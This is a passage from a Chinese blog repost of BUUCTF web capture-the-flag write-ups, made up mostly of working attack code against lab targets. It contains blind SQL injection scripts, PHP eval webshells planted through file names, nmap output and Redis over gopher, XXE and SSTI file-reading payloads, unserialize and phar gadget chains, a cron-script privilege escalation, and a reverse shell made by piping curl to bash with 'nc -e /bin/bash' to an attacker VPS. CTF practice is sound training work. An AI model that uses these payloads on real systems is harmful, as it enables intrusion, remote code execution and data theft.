and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

//出题人四级压线才过 见谅见谅 领会精神

fuzz过滤的字符

1
['--', '&', "'", 'and', 'like', 'select', '-~', ';', '=', '"', 'union', 'mid']

注入点

1
select * from users where username='admin\' and password='or 1#';

这时的后台语句变成这样的,用反斜杠转义username后面那个单引号,所以username的第一个单引号只能与password的第一个单引号闭合,最后一个单引号被注释,所以or后面那块就可以由我们自由发挥了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import math

url='http://ff2e7e0b-61b7-45a5-927d-1a759757182e.node3.buuoj.cn/'
flag=''

for i in range(1, 32):
high=128
low=32
mid=math.floor((high+low)/2)
while low<high:
payload = "or(ascii(substr(password,{},1))>{})#".format(i, mid)
data = {"username": "admin\\", "password": payload}
re = requests.post(url, data=data)
if "stronger" in re.text:
low=mid+1
else :
high=mid
mid=math.floor((high+low)/2)
if (low == 32 or high == 128):
break
flag += chr(mid)
print(flag)

不过没注入出正确的密码有点奇怪

[WUSTCTF2020]朴实无华

robots.txt 得知 fAke_f1agggg.php 文件,访问一个假flag,响应头部有提示 fl4g.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

level1

1
intval($num) < 2020 && intval($num + 1) > 2021

这里传入num=1e7即可。
在进行intval($num)时被截断成为1,1<2020 => True;
而$num+1时就解析为科学技术法,结果是10000001(也不知道位数对不对,随意啦)。
绕过了。

level2

1
$md5=$_GET['md5'];

一般绕过md5的方法有两种,一个是以0e开头,后面全是数字的结果,这个会被解析为科学计数法为0;另一个是利用数组绕过。
这里利用0e绕过:

1
md5('0e215962017') ==> “0e291242476940776845150308577824”

get flag
这里是个RCE,过滤了空格和cat。
空格用%09(tab)绕过,cat用反斜杠绕过,构造成ca\t:

1
fl4g.php?num=1e7&md5=0e215962017&get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[网鼎杯 2020 朱雀组]Nmap

回显hacker,经查,php被过滤,使用短标签绕过

1
' <?= @eval($_POST["hack"]);?> -oG hack.phtml '

[极客大挑战 2019]FinalSQL

[MRCTF2020]PYWebsite

前端验证,直接访问/flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}

}

修改请求数据包头部X-Forwarded-For:127.0.0.1

[NCTF2019]True XML cookbook

读取源码,发现file协议读没用,换php协议读

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY penson SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php" >
]>
<user><username>&penson;</username><password>penson</password></user>

没发现什么
打内网,先读取/etc/hosts,我这里是没发现ip,看网上的writeup是存在个ip地址,爆破一下c端地址,其中访问一个ip地址即可得flag

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY penson SYSTEM "http://173.10.47.11" >
]>
<user><username>&penson;</username><password>penson</password></user>

[NPUCTF2020]ReadlezPHP

/time.php?source=
查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

payload

1
time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:15:"eval($_GET[y]);";s:1:"b";s:6:"assert";}&y=phpinfo();

[BJDCTF2020]EasySearch

index.php.swp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

ssi注入漏洞:https://blog.csdn.net/qq_40657585/article/details/84260844

[BJDCTF 2nd]xss之光

/.git/源码泄露
index.php

1
2
3
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

反序列化之PHP原生类的利用:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

[CISCN2019 华北赛区 Day1 Web2]ikun

jwt 弱秘钥 ,pickle反序列化漏洞

[MRCTF2020]Ezpop

这里算是学到一个知识点,嵌套定义一个类,就可以调用__construct().

思路如下:

1.调用include()函数,让Test类中的属性p等于Modifier这个类,从而触发__get()魔术方法。将Modifier这个类变成一个函数,从而调用__invoke()方法,进而调用include()函数

2.让source 等于对象,进而触发__toString方法,输出内容

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";

}


class Test{
public $p;

}

class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}


$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));

[CISCN2019 华北赛区 Day1 Web1]Dropbox

存在任意文件下载

思路如下:

上传一个phar文件,后缀为图片的格式
然后在delete.php中访问它,以phar://test.jpg的形式,此时会调用file->open()中的file_exists()会触发反序列化,(此时file_exists()返回的是false)
此时只有user的__descruct会调用close()函数,但是没有回显功能,我们只能找一个有回显的地方进行序列化
我们观察到FileList类的__descruct有echo函数,输出$table,而$table的内容来自$result,我们再来看一下__call函数

1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

__call函数是指当调用类不存在的方法时就会调用__call函数
其中$func就是指我们调用的不存在方法,而$args是指我们的参数,
通过代码我们知道假如我们调用close()方法,那么最后会调用

1
$file->$func()

即$file->close(),并且存入$result中,那么file_get_contents的内容就能回显出来了~~

最后的payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class User {
public $db;
}
class File{
public $filename = '/flag.txt';
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}


$o = new User();
$o->db =(new FileList());
echo serialize($o);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

最后再说一下,为什么我们要通过delete.php触发phar反序列化,而不是通过download.php,两者都会调用file_exists(),那是因为download.php有base_dir限制,我们不能读出在/目录下的文件

[GYCTF2020]FlaskApp

ssti模板注入
读取app.py文件内容

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

得知waf

1
2
3
4
5
6
7
8
9
10
11
def waf(str): 
black_list = [ &
#34;flag&# 34;, & #34;os&# 34;, & #34;system&# 34;, &
#34;popen&# 34;, & #34;import&# 34;, & #34;eval&# 34;, &
#34;chr&# 34;, & #34;request&# 34;, & #34;subprocess&# 34;, &
#34;commands&# 34;, & #34;socket&# 34;, & #34;hex&# 34;, &
#34;base64&# 34;, & #34;*&# 34;, & #34;?&# 34;
]
for x in black_list:
if x in str.lower():
return 1@ app.route( &#39;/hint&# 39;, methods = [ & #39;GET&# 39;])

字符串拼接绕过,listdir列出文件

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% endif %}
{% endfor %}

倒序绕过

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}
{% endif %}
{% endfor %}

拼接绕过

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}
{% endif %}
{% endfor %}

[GKCTF2020]老八小超市儿

后台admin.php
账户密码:admin shopxo

接下来就在应用中心里的应用商店找到主题,然后下载默认主题。
在_static_里面加上一个test.php,这里面就是我们加入的一句话了,加个phpinfo()可以方便确认马到底有没有穿上去。在/public/static/index/default/test.php ,打开验证一下。
连接成功后发现目录里有flag和flag.hint
打开flag里面是假flag ,然后尝试的打开root目录,发现权限不够

打开这个标红的auto.sh,发现他60秒运行一次makeflaghint.py的脚本,makeflaghint.py有权限修改,添加os.system("cat /root/flag > /1.txt"),过一分钟后即可得flag

[CISCN2019 华东南赛区]Web11

smarty模板注入
BUUCTF-WEB-WRITEUP

[GWCTF 2019]枯燥的抽奖

PHP mt_rand安全杂谈及应用场景详解
check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

iNoUoNVRYN

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

构造取反连接蚁剑

1
2
3
4
5
6
7
8
<?php
$a='assert';
echo urlencode(~$a)."\n";
$b='(eval($_POST[y]))';
echo urlencode(~$b)."\n";
#%9E%8C%8C%9A%8D%8B
#%D7%9A%89%9E%93%D7%A0%AF%B0%AC%AB%A4%86%A2%D6%D6
?>

一句话

1
2
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%86%A2%D6%D6);
密码:y

看到根目录下存在flag和readflag文件.应该是通过执行readflag来读取flag,但是这里的shell命令基本上都被禁了。可以通过蚁剑的绕过disable_functions来执行
这里选择PHP_GC_UAF

[WUSTCTF2020]颜值成绩查询

输入1 成绩100
输入2 成绩666
输入2-1 成绩100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests

url= 'http://763ada9b-220d-4dcb-b0e5-2f4a21bd2544.node3.buuoj.cn/'

database =""

payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为ctf
payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"#表名为flag,score
payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" #列名为flag,value
payload4 = "?stunum=(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})" #
for i in range(35,10000):
low = 32
high = 128
mid =(low + high) // 2
while(low < high):
# payload = payload1.format(i,mid) #查库名
# payload = payload2.format(i,mid) #查表名
# payload = payload3.format(i,mid) #查列名
payload = payload4.format(i,mid) #查flag
new_url = url + payload
r = requests.get(new_url)
# print(new_url)
if "Hi admin" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) //2
if (mid == 32 or mid == 132):
break
database +=chr(mid)
print(database)

print(database)

[MRCTF2020]套娃

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
```
[利用PHP的字符串解析特性Bypass](https://www.freebuf.com/articles/web/213359.html)
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
```bash
1.删除空白符
2.将某些字符转换为下划线(包括空格)

可以用%20代替下划线从而绕过第一个if
第二个if中正则匹配表示匹配字符窜的开头和结尾
由于在字符窜中换行可以表示字符窜的结尾,所以可以用%0a(换行符的url编码)绕过

1
?b%20u%20p%20t=23333a

访问secrettw.php

解码jsfuck,得到alert(“post me Merak”
post Merak 得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

反写chnage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function unchange($v){

$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}



$real_flag = unchange('flag.php');

echo base64_encode($real_flag);
?>

最终payload

1
2
3
4
?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

http头
Client-ip : 127.0.0.1

[BSidesCF 2019]Kookie

用题目提供的用户密码cookie / monster 登陆,查看cookie,将username修改为admin

[CISCN2019 总决赛 Day2 Web1]Easyweb

访问robots.txt,得知有bak备份
image.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

addslashes()函数,这个函数会把特殊的字符转义。

比如:单引号会被转义成',斜杠会转义为\.

第十行的str_replace会把”\0”,”%00”,”\‘“,”‘“中的任意一个替换成空。

我们可根据这个绕过当传入id=\0时,就会在 查询语句处改变sql语句。

即:select * from images where id=’ ' or path=’+{$path}’

所以我们可以在path处注入我们的新语句,

由于没有查询结果回显,所以此处是盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url = "http://18d42f36-2704-43a9-8690-b52a3c0a95e8.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while head < tail :
mid = ( head + tail ) >> 1
#payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))>%d,1,-1)%%23"%(i,mid)
#payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))>%d,1,-1)%%23"%(i,mid)
payload = "if(ascii(substr((select group_concat(password) from users),%d,1))>%d,1,-1)%%23"%(i,mid)
#print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid

last = result
if chr(head)!=' ' :
result += chr(head)
print(result)

这里会将文件名和用户名写入日志文件。但是这里日志文件为php格式,考虑写入shell。由于用户名只能为admin无法利用,考虑文件名注入。文件名进行了php/i过滤,可以使用短标签绕过:

1
filename="<?=@eval($_POST['a']);?>"

这个文件名,会被写入日志文件中去,然后用菜刀连接。

[FBCTF2019]RCEService

json属性字段一定要用双引号括起来,单引号是不可以的。 https://xz.aliyun.com/t/5399

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

但是他用的是preg_match()函数,只匹配一行,用个换行符搞定

1
?cmd={%0A"cmd": "ls /"%0A}

并没有flag

在这里插入图片描述
这里提供了路径,暂时明白为啥可以ls了,因为ls的二进制文件放在这个目录下了

看看这个路径都有啥

1
?cmd={%0A"cmd": "ls /home/rceservice"%0A}

发现flag

1
?cmd={%0A"cmd":"/bin/cat%20/home/rceservice/flag"%0A}

[GKCTF2020]EZ三剑客-EzWeb

查看源码,提示 ?secret,访问得一些 ip 信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eth0      Link encap:Ethernet  HWaddr 02:42:0a:dd:75:09  
inet addr:10.221.117.9 Bcast:10.221.117.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:138 errors:0 dropped:0 overruns:0 frame:0
TX packets:137 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:29124 (29.1 KB) TX bytes:29110 (29.1 KB)

eth1 Link encap:Ethernet HWaddr 02:42:ac:12:00:3b
inet addr:172.18.0.59 Bcast:172.18.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:85 errors:0 dropped:0 overruns:0 frame:0
TX packets:27 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:21931 (21.9 KB) TX bytes:1640 (1.6 KB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:34 errors:0 dropped:0 overruns:0 frame:0
TX packets:34 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2927 (2.9 KB) TX bytes:2927 (2.9 KB)

得知有srrf漏洞,file://协议被过滤了,用发现file协议被过滤了,我们可以尝试绕过:file:/、file:<空格>///

1
2
?url=file:/var/www/html/index.php
?url=file:%20///var/www/html/index.php

得知index.php漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}

if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('鍒繖鏍�');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>

bp跑一下 10.55.109.9 c 段主机,
BUUCTF-WEB-WRITEUP
跑一下 10.55.109.11的端口,或直接试一试常见的端口6379/3306
后面就直接写shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip="10.55.109.11"
port="6379"
shell="\n\n<?php system('cat /flag');?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.request.quote(redis_format(x))
print(urllib.request.quote(payload)) # 由于我们这里是GET,所以要进行两次url编码

在访问,即可得flag

1
url=http://10.55.109.11:80/shell.php

[BJDCTF 2nd]elementmaster

506F2E706870 hextotext得到Po.php
结果是And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php,进去就能得到flag

[网鼎杯 2018]Comment

已经提示用户名和密码了,弱密码登录(得自己去爆破)
zhangwei666即可
.git泄露,Git_Extract恢复一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

可以发现当do=write的时候,传入的信息都会进行转义,但是数据库会自动清除反斜杠,
当do=comment的时候,可以发现直接从category这个字段进行查询,这就导致了二次注入
所以说那个转义函数根本起不到防护的作用。
要在第一步的时候插入

1
category=1’,content=user(),/*

在第二步的时候留言

1
content=*/#

这样插入数据库中的留言就会变成

1
2
3
4
insert into comment
set category = '1',content=user(),/*
content = '*/#',
bo_id = '$bo_id'

这里注意一下 # 注释一行 /**/注释多行

看到是 root 用户,一般 flag 就不会在数据库里面(因为如果在数据库中,不需要这么高的权限,实际也确实没有),应该是要用 SQL语句 读取flag文件了。

首先读取 /etc/passwd 看看服务器上有哪些用户,payload为: 1’,content=(select load_file(‘/etc/passwd’)),/*
发现 www 用户的一些操作。看见有 .DS_Store 文件,考虑到目标环境是docker,所以 .DS_Store 文件应该在 /tmp 中。而 .DS_Store 文件中,经常会有一些不可键字符,所以我们可以使用hex函数对其内容进行转换,payload为: ‘,content=(select hex(load_file(‘/tmp/html/.DS_Store’))),/*
得知flag文件名

1
1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

[BJDCTF 2nd]duangShell

vim编辑一个文件产生的临时文件,处理不当有可能造成泄露。其泄露方式为
文件名.swp 有些时候文件名前会有一个点.。然后获得这个.swp文件后,在Linux里通过命令 vim -r xxx.swp 来让临时文件恢复正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
}
else
{ $girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl))
die('just girl');
else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl))
{
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
}
else { exec($girl); //duangShell~~~~
}
}
?>

本题的RCE绕过
poc1:通过 curl url获得某个网址的某个文件的内容,再通过管道符转移给bash处理,如:
curl url/shell.txt|bash shell.txt里是要执行的命令,本题建议在shell.txt里放反弹shell指令
poc2:
监听命令
攻击机

1
nc -lvvp port

靶机上执行

1
nc vpsip port -e /bin/bash

用find / -name flag 寻找flag

[BJDCTF 2nd]Schrödinger

应该是输入文件,对其进行check后删除,正好符合前面提示要求的删除的test.php
输入

http://5612956a-2228-4ed1-99ae-3039a69fa7d1.node3.buuoj.cn/test.php

点击input,发现页面发生了变化
点击check并抓包
看到有base64编码,解码后发现是时间戳,将其修改为0,然后Forward
b站视频的av号,去翻一下评论即可得到flag

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

查看源码发现最底下有个提示,说明可能存在文件包含

用filter伪协议读出所有可以找到的页面和文件的源码,整理一下, 开始分析可能存在的漏洞

confirm.php存储 address 字段的值,change.php 又拿出来使用,导致 二次注入

1
2
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),21,40)),0x7e),1)#

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:44:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BUUCTF-WEB-WRITEUPhttps://cn-sec.com/archives/722518.html

发表评论

匿名网友 填写信息